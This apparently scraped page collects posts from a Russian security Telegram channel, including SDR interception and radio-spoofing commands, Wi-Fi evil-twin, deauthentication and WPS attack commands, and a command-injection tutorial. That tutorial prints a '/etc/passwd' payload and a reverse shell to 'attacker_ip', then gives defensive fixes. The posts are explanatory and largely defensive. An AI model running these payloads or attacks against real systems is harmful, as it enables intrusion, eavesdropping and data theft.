CodeGuard: CyberSec Edition
Канал по ИБ и этичному хакингу. Связь: @Arakcheev_Ruslan Ссылка: @invite_CodeGuard Биржа: https://telega.in/c/+3X56uL4A-UM3Njgy
Больше📈 Аналитический обзор Telegram-канала CodeGuard: CyberSec Edition
Канал CodeGuard: CyberSec Edition является активным участником. Сейчас сообщество объединяет 12 639 подписчиков, занимая 10 058 место в категории Технологии и приложения и 52 296 место в регионе Россия.
📊 Показатели аудитории и динамика
С момента создания невідомо проект демонстрирует стремительный рост, собрав аудиторию из 12 639 подписчиков.
Согласно последним данным от 22 июня, 2026, канал показывает стабильную активность. За последние 30 дней изменение числа участников составило 614, а за последние 24 часа — 96, при этом общий охват остаётся высоким.
- Статус верификации: Не верифицирован
- Уровень вовлечённости (ER): Средний показатель вовлечённости аудитории составляет 12.48%. В первые 24 часа после публикации контент обычно набирает 6.78% реакций от общего числа подписчиков.
- Охват публикаций: В среднем каждый пост получает 1 577 просмотров. В течение первых суток публикация набирает 857 просмотров.
- Реакции и взаимодействия: Аудитория активно поддерживает контент: среднее количество реакций на один пост — 4.
- Тематические интересы: Контент сосредоточен на ключевых темах, таких как codeguard, pysec, docker, grep, контейнер.
📝 Описание и контентная политика
Автор описывает ресурс как площадку для выражения субъективного мнения:
“Канал по ИБ и этичному хакингу.
Связь: @Arakcheev_Ruslan
Ссылка: @invite_CodeGuard
Биржа: https://telega.in/c/+3X56uL4A-UM3Njgy”
Благодаря высокой частоте обновлений (последние данные получены 23 июня, 2026) канал поддерживает актуальность и высокий уровень охвата публикаций. Аналитика показывает, что аудитория активно взаимодействует с контентом, что делает его важной точкой влияния в категории Технологии и приложения.
- IT-митапы и конференции (да, там тоже есть девушки). - Хакатоны по смежным темам (дизайн, маркетинг, data science). - Клубы по настолкам, квизам, стендапу. - Курсы (языковые, танцевальные, кулинарные).Твоя задача - не «очаровать», а быть собой в своей среде. Общие интересы - лучший фундамент. 2️⃣Прокачивай софт-скиллы, а не только хард
Умение слушать > умение рассказать про новый фреймворк. Искренний интерес к человеку > заученные пикап-фразы. Нормальный диалог > монолог про сложности продакшна.Твоя работа - это 20% разговора, не больше. Спроси про её увлечения, проекты, мечты. 3️⃣Используй профессиональные сети правильно LinkedIn, Хабр Карьера, телеграм-сообщества. Ищи не вакансии, а людей.
# Не пиши «привет, симпатичная аватарка, давай встретимся». # Пиши: «Вижу, вы занимались проектом по NLP, я тоже в теме, есть вопрос/идея». # Переходи от профессионального к личному постепенно.4️⃣Попроси друзей и коллег Это не стыдно. Четко сформулируй, кого ищешь.
«Ребят, ищу девушку умную, с юмором, возможно из смежной IT-сферы. Если знаете кого-то - представьте, я адекватный».Сарафанное радио работает. Но будь готов, что тебя тоже будут проверять. 5️⃣Готовь почву: соцсети и внешний вид
- Фото не только с монитором. Добавь хобби, путешествия. - Одежда не из «мерча гугла». Базовый стиль - уже хорошо. - Чистая квартира на случай, если пригласишь. Без городов из банок от колы.6️⃣Первый выход «в поле»
Цель: не найти жену за вечер. Цель: познакомиться с 3 новыми людьми, обменяться контактами с 1. Без давления. Будь открытым, а не отчаянным.✅ Что не делать:
- Не своди всё к деньгам и зарплате. - Не ной про работу и усталость. - Не пытайся произвести впечатление заумными терминами. - Не делай «последний шанс» из каждой встречи.💥Итог: перестань искать «жену». Ищи интересного человека в среде, где тебе хорошо. Остальное приложится. 😈 CyberSec Edition | Чат
🔻Устанавливать и настраивать Nmap на Kali Linux. 🔻Понимать, что такое порты, IP-адреса и как они связаны с сетями. 🔻Использовать базовые команды Nmap для сканирования одного устройства 🔻Определять открытые порты и анализировать, какие службы работают на хостах. 🔻Узнавать версии сервисов и операционные системы устройств. 🔻Выучите базовые знания по компьютерным сетям.👩💻 Проходим курс здесь 😈 CyberSec Edition | Чат
– Как находить идеи? – Как быстро запускать MVP? – Как привлекать первых пользователей?Если тебе близка айти-сфера и ты давно хочешь создать свой пет-проект, нам по пути: https://t.me/+aQLG0hRQqlI5YjAy
Hybrid Analysis — динамический анализ образцов и отчетов о вредоносных файлах Any.Run — интерактивная песочница для анализа вредоносов MALPEDIA — база данных известных семейств вредоносных программ AbuseIPDB — проверка IP-адресов на подозрительную активность ThreatFox — индикаторы компрометации (IOC) из открытых источников URLScan — быстрая проверка сайтов на фишинг, редиректы и вредное содержимое Talos Intelligence — база данных киберугроз от Cisco Have I Been Pwned — проверка email-адресов на утечки PhishTank — репозиторий фишинговых сайтов DNSDumpster — разведка инфраструктуры DNS SecurityTrails — полные данные о доменах, IP и серверах Metadefender Cloud — анализ файлов и метаданных на угрозы Intezer Analyze — генетический анализ кода для выявления сходств между вредоносами😈 CyberSec Edition | Чат
Hybrid Analysis — динамический анализ образцов и отчетов о вредоносных файлах Any.Run — интерактивная песочница для анализа вредоносов MALPEDIA — база данных известных семейств вредоносных программ AbuseIPDB — проверка IP-адресов на подозрительную активность ThreatFox — индикаторы компрометации (IOC) из открытых источников URLScan — быстрая проверка сайтов на фишинг, редиректы и вредное содержимое Talos Intelligence — база данных киберугроз от Cisco Have I Been Pwned — проверка email-адресов на утечки PhishTank — репозиторий фишинговых сайтов DNSDumpster — разведка инфраструктуры DNS SecurityTrails — полные данные о доменах, IP и серверах Metadefender Cloud — анализ файлов и метаданных на угрозы Intezer Analyze — генетический анализ кода для выявления сходств между вредоносами😈 CyberSec Edition | Чат
🔸 Кабели, дата-центры и маршрутизация 🔸 Протоколы TCP/IP, DNS, HTTP 🔸 Безопасность соединений, TLS и HTTPS 🔸 WebSockets и реальное взаимодействие в сети 🔸 Балансировка нагрузки, CDN и масштабирование📘После просмотра у тебя будет картинка целиком — от физики до прикладного уровня. 📱 Само видео на YouTube 😈 CyberSec Edition | Чат
# Впихнули в CI/CD за 2 минуты:
- name: Scan image
uses: aquasecurity/trivy-action@master
with:
image-ref: 'myapp:latest'
format: 'sarif'
output: 'trivy-results.sarif'
# Или локально для контейнера, файлов, k8s:
trivy image myapp:latest
trivy fs --security-checks vuln,secret,config .
trivy k8s --report summary cluster
Зачем: Находит CVE в образах, секреты в коде и косяки в конфигах k8s. Быстро. Без этой хрени с ручными отчётами.
2️⃣Checkov - инфраструктура как код под прицелом
# Терраформ, CloudFormation, K8s манифесты:
checkov -d /path/to/tf/code
checkov --file deployment.yaml
# Пример выхлопа:
CKV_AWS_21: FAIL
Resource: aws_s3_bucket.my_bucket
Guide: https://docs.bridgecrew.io/docs/s3_ensure_all_public_access_blocked
28 | versioning {
29 | enabled = true
30 | }
31 | }
Фикс в логе: Показывает, какое правило сработало и как исправить. IaC-безопасность на автомате.
3️⃣Grype - от Anchore, тупо сканирует SBOM
# Сгенерировал SBOM через Syft -> просканировал через Grype: syft myapp:latest -o json > sbom.json grype sbom:sbom.json # Или прямо образ: grype myapp:latest --fail-on highСуть: Работает с "меню компонентов" (SBOM) твоего софта. Узнал, из чего собрано, - нашёл в нём дыры. 4️⃣GitLeaks - чтобы ключи от облака не утекли в публичный репозиторий
# Пре-коммит хук или в пайплайне:
gitleaks detect --source . -v
# Найдёт: AWS_ACCESS_KEY_ID, slack token, приватные ssh ключи.
# Или как хук:
gitleaks protect -v --staged
Зачем: Потому что каждый дебильный коммит с .env файлом - это потенциальный бан аккаунта в AWS. Предотвращает, а не констатирует.
5️⃣Kube-bench - чекер, что k8s настроен не как попало
# Запускается внутри пода или на ноде:
kube-bench node --version 1.28
kube-bench master --version 1.28
# Вывод:
[FAIL] 1.1.12 Ensure that the etcd data directory permissions are set to 700 or --etcd-certfile and --etcd-keyfile are set as appropriate (Automated)
Суть: Автоматически проверяет кластер на соответствие CIS Benchmark для Kubernetes. Не гадай, безопасно ли - запусти и узнай.
Бонус: одна команда для параноика
#!/bin/bash
echo "🔍 IaC/Container Security Quick Scan"
checkov -d . --quiet
trivy image --severity HIGH,CRITICAL $(cat Dockerfile | grep FROM | cut -d' ' -f2)
gitleaks detect --source . --no-banner
echo "Если всё чисто - сегодня можно спать."
Интересный факт:
По данным 2024, в 70% случаев утечка данных происходит из-за мисконфигурации (S3 bucket public, открытый порт), а не из-за сложной 0-day атаки. Автоматизируй проверку конфигов.
😈 CyberSec Edition | Чат# 1. Перехват сигнала (SDR - RTL-SDR)
rtl_fm -f 446.00625M -s 48k -g 50 -l 0 -E deemp -M fm -A fast -r 48k
# 2. Запись сырого потока для анализа
rx_sdr -f 446M -s 2.4M -g 40 - > iq_sample.raw
# 3. Декодирование DMR через DSD+
dsdplus -fa -i /dev/ttyACM0 -o /dev/stdout | aplay -r 48000 -f S16_LE -t raw -c 1
# 4. Анализ пакетов TETRA (Airprobe/GRC)
airprobe_rtlsdr.py -f 410M -s 2M -g 40 -n 1000000
# 5. Брут ключа шифрования (RC4/AES слабые реализации)
tetra-krack --pcap capture.pcap --wordlist keys.txt --verbose
3️⃣ Что можно получить
[DMR] Slot1: TG=1001 | Source=7001 | Enc=Off [TETRA] Call Setup: Group 5501 ← Слушаем канал! [NXDN] Voice Frame Decoded: KeyID=1 (Default) [WARNING] Encryption RC4-40 detected → Weak4️⃣ Продвинутые фишки
# Генерация ключа TETRA по известным данным tetra-crypto --known-keystream keystream.bin --derive-key # Атака на синхронизацию TETRA (DoSSS) tetra-dos --frequency 410M --power 30 --duration 60 # Подмена BSI (Base Station Identity) в DMR dmr-spoof --target-tg 9999 --source-id 7000 --play audio.wav5️⃣ Нюансы
🔸 Только свой диапазон/частоты (433-446 МГц без лицензии) 🔸 Шифрование TEA1/TEA2 в TETRA - держится на гостайне 🔸 DMR с AES-128 и рандомными ключами - почти не ломается 🔸 Ловим отражённый сигнал за 5 км (параболическая антенна)Полезно? ❤️ — Да 👍 — Нет 😈 CyberSec Edition | Чат
Whoisology - База данных по доменным записям с историей изменений. Помогает увидеть, как менялся владелец, контакт или хостинг за годы. BuiltWith - Анализирует технологии сайта: CMS, плагины, аналитика, SSL и многое другое. Отличный способ понять, на чём построен сайт и кто его обслуживает. SecurityTrails - Показывает DNS-записи, связанные домены и IP-адреса. Очень удобно для выявления всей сети ресурсов одной компании. URLScan - Сканирует сайт и показывает, к каким серверам идут запросы, какие скрипты использует страница и есть ли подозрительные элементы. Censys - Поисковая система по интернет-инфраструктуре: IP, сертификаты, порты, сервисы. Используется в разведке для нахождения уязвимых или связанных систем.⚙️ Любой сайт — это набор следов: домены, IP, SSL, код. И если знать, где смотреть, можно узнать гораздо больше, чем кажется. 😈 CyberSec Edition | Чат
# Типичный сетап злодея:
airbase-ng -e "McDonald's Free WiFi" -c 6 wlan0mon
Фикс (не подключайся автоматом):
Забудь про авто-подключение к открытым сетям. Вручную выбирай сеть, чье имя подтверждено. Используй VPN, если делаешь что-то важное.2️⃣ Перехват трафика в открытой сети (пассивный сниффинг) В открытой сети весь трафик идет как открытка. Злоумышленник в той же сети может его читать.
# Атакующий просто слушает:
sudo airodump-ng wlan0mon
# Или захватывает пакеты:
sudo tcpdump -i wlan0 -w capture.pcap
Какую хрень можно увидеть? Логины, пароли (если сайт без HTTPS), историю посещений.
Фикс:
Проверяй, чтобы сайт использовал HTTPS (замок в адресной строке). Никогда не вводи пароли на сайтах без HTTPS в публичном вайфае. Всегда используй VPN - он шифрует весь твой трафик.3️⃣ Атака на WPS (Wi-Fi Protected Setup) Многие домашние и некоторые публичные роутеры до сих пор имеют включенный WPS. Его PIN можно подобрать за часы.
# Инструмент для атаки:
reaver -i wlan0mon -b -vv
4️⃣ Деаутентификация (отключение клиентов от сети)
Атакующий отправляет фейковые пакеты, "выкидывая" устройства из сети. Пока ты пытаешься подключиться заново, он может перехватить хэндшейк.
aireplay-ng --deauth 10 -a -c wlan0mon
Бонус: быстрая проверка на своем ноуте
# На Linux посмотреть сохраненные сети: nmcli connection show # Удали подозрительные! nmcli connection delete "Starbucks_Free"
# На Windows (PowerShell):
netsh wlan show profiles
netsh wlan delete profile name="Free_WiFi_Airport"
Интересный факт:
Почти 70% публичных точек доступа в метро и торговых центрах не используют шифрование между клиентом и роутером. Твой трафик - как открытая книга.
😈 CyberSec Edition | Чат# Клиентский конфиг (~/.ssh/config) - алиасы на всё
Host vps
HostName 10.0.0.1
User root
Port 2222
IdentityFile ~/.ssh/id_ed25519
Host *.internal
ProxyJump jump-host
User dev
Серверный (/etc/ssh/sshd_config):
Port 2222 PermitRootLogin no PasswordAuthentication no PubkeyAuthentication yes MaxAuthTries 3 ClientAliveInterval 300 LogLevel VERBOSE2️⃣ Генерация ключей: от RSA до Ed25519 (безопасность > совместимость)
# Современный стандарт:
ssh-keygen -t ed25519 -C "key@$(hostname)"
# Легче, быстрее, безопаснее RSA 4096
# Для старых систем:
ssh-keygen -t rsa -b 4096 -o -a 100
# Копирование ключа без ssh-copy-id:
cat ~/.ssh/id_ed25519.pub | ssh user@host 'cat >> ~/.ssh/authorized_keys && chmod 600 ~/.ssh/authorized_keys'
3️⃣ Брутфорс защита: fail2ban за 3 минуты (90% атак отбиваются)
sudo apt install fail2ban
sudo cp /etc/fail2ban/jail.conf /etc/fail2ban/jail.local
Добавляем jail для SSH:
[sshd] enabled = true port = ssh,2222 filter = sshd logpath = /var/log/auth.log maxretry = 3 bantime = 3600 findtime = 600
sudo systemctl restart fail2ban
sudo fail2ban-client status sshd
4️⃣ SSH-агент: не вводи пароль 100 раз за день
# Стартуем агент:
eval "$(ssh-agent -s)"
ssh-add ~/.ssh/id_ed25519
# Проверяем:
ssh-add -l
# Копируем ключ между сессиями (SSH_AUTH_SOCK):
# В ~/.bashrc:
export SSH_AUTH_SOCK="$HOME/.ssh/agent.sock"
alias ssh='ssh -A' # Forward agent
5️⃣ Проброс портов: тунели на максимум (локальный, удалённый, динамический)
# Локальный проброс (-L):
ssh -L 3306:localhost:3306 user@host # MySQL с удалёнки локально
# Удалённый проброс (-R):
ssh -R 8080:localhost:80 user@host # Доступ к вашему localhost с сервера
# SOCKS5 прокси (-D):
ssh -D 1080 user@host # Весь трафик через удалённый хост
# Сжатие + keepalive для медленных сетей:
ssh -C -o ServerAliveInterval=60 user@host
6️⃣ Конфиг для максимальной скорости (TCP оптимизация)
Host *
Compression yes
ServerAliveInterval 30
ServerAliveCountMax 3
TCPKeepAlive yes
ControlMaster auto
ControlPath ~/.ssh/sockets/%r@%h-%p
ControlPersist 4h
# Ускорение в 10 раз для множества соединений:
ssh -o ControlMaster=auto -S ~/.ssh/sockets/vps user@host
7️⃣ Команды одной строкой (часто забывают, но очень нужны)
# Копирование файлов:
scp -P 2222 -r ./local_dir user@host:/remote/path/
rsync -avz -e 'ssh -p 2222' src/ user@host:dst/
# Выполнение команд удалённо:
ssh user@host 'tar -czf - /path' | tar -xzf - -C ./backup
# Туннель для VNC/RDP через SSH:
ssh -L 5900:localhost:5900 user@host # VNC
ssh -L 3389:localhost:3389 user@host # RDP
😈 CyberSec Edition | Чат# Клиентский конфиг (~/.ssh/config) - алиасы на всё
Host vps
HostName 10.0.0.1
User root
Port 2222
IdentityFile ~/.ssh/id_ed25519
Host *.internal
ProxyJump jump-host
User dev
Серверный (/etc/ssh/sshd_config):
Port 2222 PermitRootLogin no PasswordAuthentication no PubkeyAuthentication yes MaxAuthTries 3 ClientAliveInterval 300 LogLevel VERBOSE2️⃣ Генерация ключей: от RSA до Ed25519 (безопасность > совместимость)
# Современный стандарт:
ssh-keygen -t ed25519 -C "key@$(hostname)"
# Легче, быстрее, безопаснее RSA 4096
# Для старых систем:
ssh-keygen -t rsa -b 4096 -o -a 100
# Копирование ключа без ssh-copy-id:
cat ~/.ssh/id_ed25519.pub | ssh user@host 'cat >> ~/.ssh/authorized_keys && chmod 600 ~/.ssh/authorized_keys'
3️⃣ Брутфорс защита: fail2ban за 3 минуты (90% атак отбиваются)
sudo apt install fail2ban
sudo cp /etc/fail2ban/jail.conf /etc/fail2ban/jail.local
Добавляем jail для SSH:
[sshd] enabled = true port = ssh,2222 filter = sshd logpath = /var/log/auth.log maxretry = 3 bantime = 3600 findtime = 600
sudo systemctl restart fail2ban
sudo fail2ban-client status sshd
4️⃣ SSH-агент: не вводи пароль 100 раз за день
# Стартуем агент:
eval "$(ssh-agent -s)"
ssh-add ~/.ssh/id_ed25519
# Проверяем:
ssh-add -l
# Копируем ключ между сессиями (SSH_AUTH_SOCK):
# В ~/.bashrc:
export SSH_AUTH_SOCK="$HOME/.ssh/agent.sock"
alias ssh='ssh -A' # Forward agent
5️⃣ Проброс портов: тунели на максимум (локальный, удалённый, динамический)
# Локальный проброс (-L):
ssh -L 3306:localhost:3306 user@host # MySQL с удалёнки локально
# Удалённый проброс (-R):
ssh -R 8080:localhost:80 user@host # Доступ к вашему localhost с сервера
# SOCKS5 прокси (-D):
ssh -D 1080 user@host # Весь трафик через удалённый хост
# Сжатие + keepalive для медленных сетей:
ssh -C -o ServerAliveInterval=60 user@host
6️⃣ Конфиг для максимальной скорости (TCP оптимизация)
Host *
Compression yes
ServerAliveInterval 30
ServerAliveCountMax 3
TCPKeepAlive yes
ControlMaster auto
ControlPath ~/.ssh/sockets/%r@%h-%p
ControlPersist 4h
# Ускорение в 10 раз для множества соединений:
ssh -o ControlMaster=auto -S ~/.ssh/sockets/vps user@host
7️⃣ Команды одной строкой (часто забывают, но очень нужны)
# Копирование файлов:
scp -P 2222 -r ./local_dir user@host:/remote/path/
rsync -avz -e 'ssh -p 2222' src/ user@host:dst/
# Выполнение команд удалённо:
ssh user@host 'tar -czf - /path' | tar -xzf - -C ./backup
# Туннель для VNC/RDP через SSH:
ssh -L 5900:localhost:5900 user@host # VNC
ssh -L 3389:localhost:3389 user@host # RDP
😈 CyberSec Edition | Чат• Вайб-кодинг: автоматизация процессов без написания кода вручную. • Кейсы: как забирать senior-офферы и создавать контент-фермы с доходом от $3000. • Инструменты: промпты и нейросети, экономящие до 80% рабочего времени.Подписывайтесь на лучших экспертов прямо сейчас. Это сэкономит вам годы самостоятельного поиска и месяцы платного обучения.
ssh-keygen -t ed25519 -f ~/.ssh/email_bot -N ""
# Парольную фразу НЕ ставим, иначе автоматизация сломается
2️⃣ Копируем публичный ключ на сервер приложения
ssh-copy-id -i ~/.ssh/email_bot.pub user@app-server.com
3️⃣ На сервере: ограничиваем ключ только портом SMTP
В начале файла ~/.ssh/authorized_keys на сервере добавляем:
restrict,port-forwarding,command="echo 'Only port forwarding allowed'" ssh-ed25519 AAA...ваш_ключ... email_bot
Это запретит выполнение любых команд, кроме проброса портов.
4️⃣ Запуск туннеля с локальной машины
ssh -i ~/.ssh/email_bot -N -L 1025:localhost:25 user@app-server.com & # -N = без выполнения команд, -L = проброс портаТеперь локальный порт 1025 указывает на SMTP (порт 25) сервера приложения. 5️⃣ Настройка скрипта на сервере Вместо прямого подключения к внешнему SMTP, скрипт шлёт письма на localhost:1025 через туннель. Пример для Python:
import smtplib
server = smtplib.SMTP('localhost', 1025)
server.login('', '') # Аутентификация не нужна, она на стороне локальной машины
server.sendmail(...)
6️⃣ Где хранить реальные SMTP-креды?
Только на вашей локальной машине! Настройте Postfix или другой MTA локально, чтобы он использовал ваш email-аккаунт как релей.
Пример настройки Postfix для Gmail:
relayhost = [smtp.gmail.com]:587 smtp_sasl_auth_enable = yes smtp_sasl_password_maps = hash:/etc/postfix/sasl_passwd smtp_tls_security_level = encrypt✅Автозапуск туннеля Добавьте в crontab (
crontab -e) локальной машины:
@reboot ssh -i /home/user/.ssh/email_bot -N -L 1025:localhost:25 user@app-server.com &💥 Итог: пароли от почты только у вас, скрипт на сервере думает, что шлёт локально. Безопасно и автоматизировано. 😈 CyberSec Edition | Чат
# 1. Открыть файл в интерактивном режиме
r2 -A ./target_binary
# 2. Внутри r2: вывести информацию о файле (как SHOW TABLES)
i
# 3. Список всех функций (главная таблица проекта)
afl
# 4. Проанализировать конкретную функцию sym.main (как SELECT * FROM functions WHERE name='main')
pdf @sym.main
# 5. Поиск всех строк в бинарнике (поиск по "строковым" данным)
iz
# или поиск строк, содержащих определённый паттерн
/i passw
Флаг -A выполняет автоматический анализ (aaa) при загрузке.
3️⃣Выводы radare2 в реале
[0x00401000]> afl 0x00401000 1 42 entry0 0x00401030 4 41 sym.deregister_tm_clones 0x00401060 4 57 sym.register_tm_clones 0x004010a0 3 33 sym.__do_global_dtors_aux 0x004010d0 1 6 entry.init0 0x00401100 1 112 sym.main ← Вот наша цель!4️⃣Продвинутые фишки
# Работа с проектами (сохранить/загрузить БД анализа) Ps my_project # Сохранить проект Po my_project # Открыть проект # Визуализация графа потока управления функции (V!) VV @sym.main # Поиск ROP-гаджетов (поиск специфичных "записей" в коде) /R pop # Сравнение двух функций или бинарников (дифф "таблиц") radiff2 binary1 binary25️⃣Нюансы
🔸Файлы проектов (.r2) хранят весь анализ, не нужно переделывать. 🔸 aaa - базовый анализ; aaaa - глубокий рекурсивный анализ. 🔸 Используй псевдонимы и скрипты (~/.radare2rc) для своих "запросов". 🔸 Визуальный режим (V) - твой лучший друг для навигации по "схеме данных" программы.🧠 Где тренироваться: Crackmes.one, реверс-таски с CTF (picoCTF, OverTheWire), свои скомпилированные программы. Полезно? ❤️ - Да 👍 - Нет 😈 CyberSec Edition | Чат
os.system() или subprocess.Popen(), когда надо быстро позвать системную утилиту. Но забывают, что пользовательский ввод нельзя просто так подставлять в консоль. Врывается злоумышленник и исполняет свои команды на сервере. Сегодня разберем, как это происходит и как заткнуть дыру.
Основные сценарии внедрения команд
🔵 Прямая подстановка в shell: если приложение конкатенирует ввод с командой, любой может добавить ;, &&, | и выполнить свой код.
🔵 Обход фильтров: даже если пытаются вырезать опасные символы, бывают обходы через кодировку или подстановку переменных окружения.
🔵 Слепое внедрение (Blind): атакующий не видит вывод команды, но может определить успех по времени ответа или косвенным признакам (ping, sleep).
Пример уязвимого приложения (Python)
Допустим, у вас есть веб-сервис для проверки доступности хоста:
import subprocess
import sys
host = input("Введите IP или домен для ping: ")
# ⚠️ КРИТИЧЕСКАЯ ОШИБКА: пользовательский ввод идет прямо в shell=True
result = subprocess.Popen(f"ping -c 1 {host}", shell=True, stdout=subprocess.PIPE)
output = result.communicate()[0]
print(output.decode())
Атака
Злоумышленник вместо хоста вводит:
127.0.0.1; cat /etc/passwd
Итоговая команда:
ping -c 1 127.0.0.1; cat /etc/passwd
Система выполнит сначала ping, а потом выведет содержимое файла с паролями. Если веб-приложение показывает вывод, данные утекли. Если нет — можно настроить обратный шелл:
127.0.0.1; bash -i >& /dev/tcp/attacker_ip/4444 0>&1
Как защититься (не будь лохом)
✅ Никогда не используй shell=True с непроверенными данными. Передавай аргументы списком:
subprocess.Popen(["ping", "-c", "1", host], shell=False)
Так команда и её аргументы четко разделены, и внедрение невозможно.
✅ Экранируй аргументы, если без shell не обойтись (например, когда нужны пайпы или переменные оболочки). Используй shlex.quote():
import shlex
safe_host = shlex.quote(host)
subprocess.Popen(f"ping -c 1 {safe_host}", shell=True)
✅ Валидация ввода: разрешай только IP-адреса или имена хостов по белому списку (регулярки, проверка на IP).
✅ Ограничивай права пользователя, от которого запускается приложение — никакого root!
✅ Если нужна только сетевая проверка, используй встроенные библиотеки (например, socket или icmplib), а не вызов внешних утилит.
Вывод
Command Injection — это не баг, а закладка на будущее кладбище твоего сервера. Правило простое: никогда не смешивай код и данные. Всегда используй списки аргументов или строжайшее экранирование.
Понял, как взламывают пинговалки?
❤️ — Да
👍 — Нет
😈 CyberSec Edition | Чат
Уже доступно! Исследование Telegram 2025 — ключевые инсайты года 
